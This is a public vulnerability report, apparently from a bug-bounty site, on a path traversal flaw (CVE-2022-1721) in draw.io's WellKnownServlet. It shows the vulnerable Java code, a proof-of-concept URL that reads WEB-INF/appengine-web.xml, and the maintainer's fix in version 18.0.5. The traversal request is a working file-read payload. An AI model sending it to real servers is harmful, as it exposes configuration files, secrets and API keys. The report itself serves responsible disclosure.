

Path Traversal in WellKnownServlet in jgraph/drawio

0



Reported on May 14th 2022

Description

The `WellKnownServlet` is vulnerable to path traversal. This allows reading local files. For example the files in `WEB-INF` that contain secrets and API keys can be read.

<https://github.com/jgraph/drawio/blob/v18.0.4/src/main/java/com/mxgraph/online/WellKnownServlet.java#L40-L66>

```
String uri = request.getRequestURI().replace("/.", "/");

if (uri.toLowerCase().contains(".json"))
{
    response.setContentType("application/json");
}

// Serve whatever was requested from .well-known
try (InputStream in = getServletContext().getResourceAsStream(uri))
{
    if (in == null)
    {
        response.sendError(404);
        return;
    }

    byte[] buffer = new byte[8192];
    int count;

    while ((count = in.read(buffer)) > 0)
    {
        response.getOutputStream().write(buffer, 0, count);
    }

    response.getOutputStream().flush();
}
```

Chat with us

```
        response.getOutputStream().flush();
        response.getOutputStream().close();
    }
}
```

Proof of Concept

Access the following URL (replace `<host>` with the actual host of the web application).

```
<host>/.well-known/.../WEB-INF/appengine-web.xml
```

This will disclose the contents of `appengine-web.xml`:

```
<?xml version="1.0" encoding="utf-8"?>
<appengine-web-app xmlns="http://appengine.google.com/ns/1.0">

  <threadsafe>true</threadsafe>
  <sessions-enabled>false</sessions-enabled>
  <runtime>java8</runtime>

  <!-- Configure java.util.logging -->
  <system-properties>
    <property name="java.util.logging.config.file" value="WEB-INF/logging.properties">
    </property>
  </system-properties>

  <!-- Path patterns not supported in production -->
  <static-files>
    <include path="/**">
      <http-header name="Referrer-Policy" value="strict-origin"/>
      <http-header name="Access-Control-Allow-Origin" value="*/>
      <http-header name="X-XSS-Protection" value="1; mode=block"/>
      <http-header name="X-Content-Type-Options" value="nosniff"/>
    </include>
  </static-files>

  <!-- App engine has conflicting interfaces for javax.cache.CacheManager ->
  <class-loader-config>
    <priority-specifier filename="cache-api-1.1.1.jar"/>
  </class-loader-config>
```

Chat with us

```
<instance-class>F1</instance-class>
<automatic-scaling>
  <max-idle-instances>1</max-idle-instances>
</automatic-scaling>
</appengine-web-app>
```



Impact

Read local files of the web application.

Occurrences



WellKnownServlet.java L40-L66

CVE

CVE-2022-1721

(Published)

Vulnerability Type

CWE-22: Path Traversal

Severity

High (7.5)

Registry

Other

Affected Version

<= 18.0.4

Visibility

Public

Status

Fixed

Found by



Tobias S. Fink

@7085

legend ▼

Chat with us

This report was seen 864 times.

We are processing your report and will contact the **jgraph/drawio** team within 24 hours.
6 months ago

David Benson validated this vulnerability 6 months ago

Tobias S. Fink has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

David Benson 6 months ago

Maintainer

<https://github.com/jgraph/drawio/commit/01ccb271d34258872b859c0fc1d253cc81341917> will be the fix

David Benson marked this as fixed in **18.0.5** with commit **01ccb2** 6 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

WellKnownServlet.java#L40-L66 has been validated ✓

Tobias S. Fink 6 months ago

Researcher

Ok, looks good.

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us